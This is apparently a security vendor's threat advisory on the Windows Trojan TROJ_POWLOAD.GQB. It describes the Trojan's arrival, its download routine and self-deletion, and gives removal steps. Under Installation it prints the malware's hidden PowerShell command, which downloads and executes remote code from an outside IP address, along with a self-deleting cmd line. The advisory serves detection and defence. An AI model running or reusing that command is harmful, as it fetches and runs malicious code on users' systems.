TROJ_POWLOAD.GQB
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
Downloaded from the Internet
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.
It deletes itself after execution.
TECHNICAL DETAILS
132,096 bytes
EXE
Yes
10 Apr 2017
Connects to URLs/IPs
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan adds the following processes:
- powershell.exe -nop -w hidden -c $J=new-object net.webclient;$J.proxy=[Net.WebRequest]::GetSystemWebProxy();$J.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $J.downloadstring('http://5.39.218.205/logo.png') - downloads a component file
- cmd.exe /c ping -n 1 -w 2000 192.168.123.254 > nul & del {malware path and filename}.exe
- rundll32 {TROJ_SWORT.VSYB - resides in memory}
Download Routine
This Trojan accesses the following websites to download files:
- http://{BLOCKED}.{BLOCKED}.218.205/logo.png
Trend Micro detects the dowloaded file as:
- TROJ_PLASTI.A
It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.
Other Details
This Trojan deletes itself after execution.
SOLUTION
9.850
13.332.08
10 Apr 2017
13.333.00
11 Apr 2017
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Restart in normal mode and scan your computer with your Trend Micro product for files detected as TROJ_POWLOAD.GQB. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
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